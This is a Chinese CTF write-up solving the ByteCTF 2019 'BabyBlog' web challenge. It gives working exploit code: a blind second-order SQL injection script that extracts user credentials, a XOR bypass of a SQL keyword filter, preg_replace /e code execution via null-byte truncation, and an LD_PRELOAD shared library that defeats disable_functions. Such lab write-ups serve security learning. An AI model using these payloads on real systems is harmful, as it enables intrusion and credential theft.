Bytectf2019-babyblog
Bytectf2019的一道web题
buuoj上的环境:https://buuoj.cn/challenges#[ByteCTF%202019]BabyBlog
dockerfile:https://github.com/CTFTraining/bytectf_2019_web_babyblog
buuoj上环境似乎有问题,可能赵师傅忘了添加vip账户了,在本地自己加了个vip账户复现了一下
1.爆破md5
- 访问/www.zip 得到源码
- 首先注册一个账号,这里存在一个认证
substr(md5($verify),0,5)==’xxxxx’
xxxxx是每次随机生成的,老会长写了个脚本爆破了出来
1 | import hashlib |
2.发现代码执行
注册成功后就可以登录进去,这时候审计一下代码,可以发现:
- 在replace.php中使用了preg_replace函数$_POST[‘find’]可控,而且php的版本是5.3,存在%00截断,因此可以将$_POST[‘find’]设成xxx/e%00, 从而得到代码执行
1
2
3
4
5if(isset($_POST['regex']) && $_POST['regex'] == '1'){
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
$sql->query("update article set content='$content' where id=" . $row['id'] . ";");
exit("<script>alert('Replaced successfully.');location.href='index.php';</script>");
}
但是只有vip账号才能使用这个功能,需要先得到已有的vip账号
3.二次注入
继续代码审计发现一个二次注入
先是在writing.php中
1
2
3
4
5
6
7
8
9if(isset($_POST['title']) && isset($_POST['content'])){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}else{
include("templates/writing.html");
exit();
}$title 和 $content 使用了addslashes,会在’等字符前面加上\转义,但是写入数据库的时候数据会还原
再看edit.php
1
2
3
4
5
6
7
8
9
10
11
12
13if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';"); //这里的$row['title']直接从数据库中取出,没有过滤
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}$row[‘title’]直接从数据库中取了出来,没有进行过滤,因此存在二次注入
在config.php存在一个全局的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function SafeFilter(&$arr){
foreach ($arr as $key => $value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}
}else{
SafeFilter($arr[$key]);
}
}
}
$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);这个可以利用异或绕过:
1
1'^(ascii(substr((select(group_concat(username,password)) from (users)),1,1))>1)^'1
附上脚本 (偷懒直接拿glzjin师傅的脚本改了改)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import requests
# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1
def main():
get_information("http://192.168.80.162:8302/")
def http_get(url,payload):
result = requests.post(url+"writing.php",data={'title':"1'^("+ payload + ")^'1",'content':'1234'},headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
result.encoding = 'utf-8'
r2 = requests.get(url+"index.php",headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
pattern = re.compile(r'edit.php\?id=(\d+)')
result1 = pattern.findall(r2.text)
result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': '1234', "id": result1[0]},headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
result.encoding = 'utf-8'
result2 = requests.get(url + "edit.php?id=" + result1[0],headers={"Cookie": "PHPSESSID=76a5b274154121a12ab3cc5c11a78617"})
print(result2.text.find('ascii') == -1)
if result2.text.find('ascii') == -1:
return True
else:
return False
def get_information(url):
result = ""
key_payload = "select(group_concat(username,password)) from (users)"
for y in range(1, 80):
payload = "ascii(substr((" + key_payload + "),%d,1))" % (y)
result += chr(half(url, payload))
print(result)
print("值为:%s" % result)
def half(url, payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s > %d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(url, mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num
if __name__ == '__main__':
main()拿到vip账号
4. bypass disable_functions
有了vip账号就可以代码执行了,继续偷glzjin师傅的脚本(逃)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import requests
import base64
cookie={
"PHPSESSID":"76a5b274154121a12ab3cc5c11a78617"
}
def write():
url="http://192.168.80.162:8302/edit.php"
data={
"title":"babyblog",
"content":'babyblog',
"id":"315"
}
r=requests.post(url=url,data=data,cookies=cookie)
return r.content
url = "http://192.168.80.162:8302/replace.php"
command = """phpinfo();"""
# print(command)
payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nbabyblog/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nbabyblog\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" + command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n315\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
headers = {
'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
'Cookie': "PHPSESSID=76a5b274154121a12ab3cc5c11a78617",
'cache-control': "no-cache",
}
write()
response = requests.request("POST", url, data=payload, headers=headers)
print(response.text)可以看到存在disable_functions和open_basedir
disable_functions
1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail
open_basedir
1
/var/www/html/:/tmp/:/proc/
这里可以利用LD_PRELOAD来绕过( https://xz.aliyun.com/t/4623#toc-5 )
首先编译一个so文件
1
2
3
4
5
6
7
8
9
10
11
void payload() {
system("/readflag >> /tmp/flag");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}然后
1
2gcc -c -fPIC fuck.c -o fuck
gcc --share fuck -o fuck.so用刚刚的代码执行将 fuck.so 写入到/tmp/目录下
1
2
3
4
5
6# 将fuck.so的内容base64编码
with open('fuck.so', "rb") as bicho:
encoded_bicho = base64.b64encode(bicho.read())
command = """eval("file_put_contents("""+"""'/tmp/fuck.so',base64_decode("""+str(encoded_bicho)[1:]+"""));var_dump(scandir('/tmp'));")"""
# print(command)这里mail函数被禁掉了,但还可以使用error_log调用fuck.so,最后读取/tmp/flag得到flag
1
command = """eval('putenv("LD_PRELOAD=/tmp/fuck.so");error_log("test",1,"","");echo file_get_contents("/tmp/flag");')"""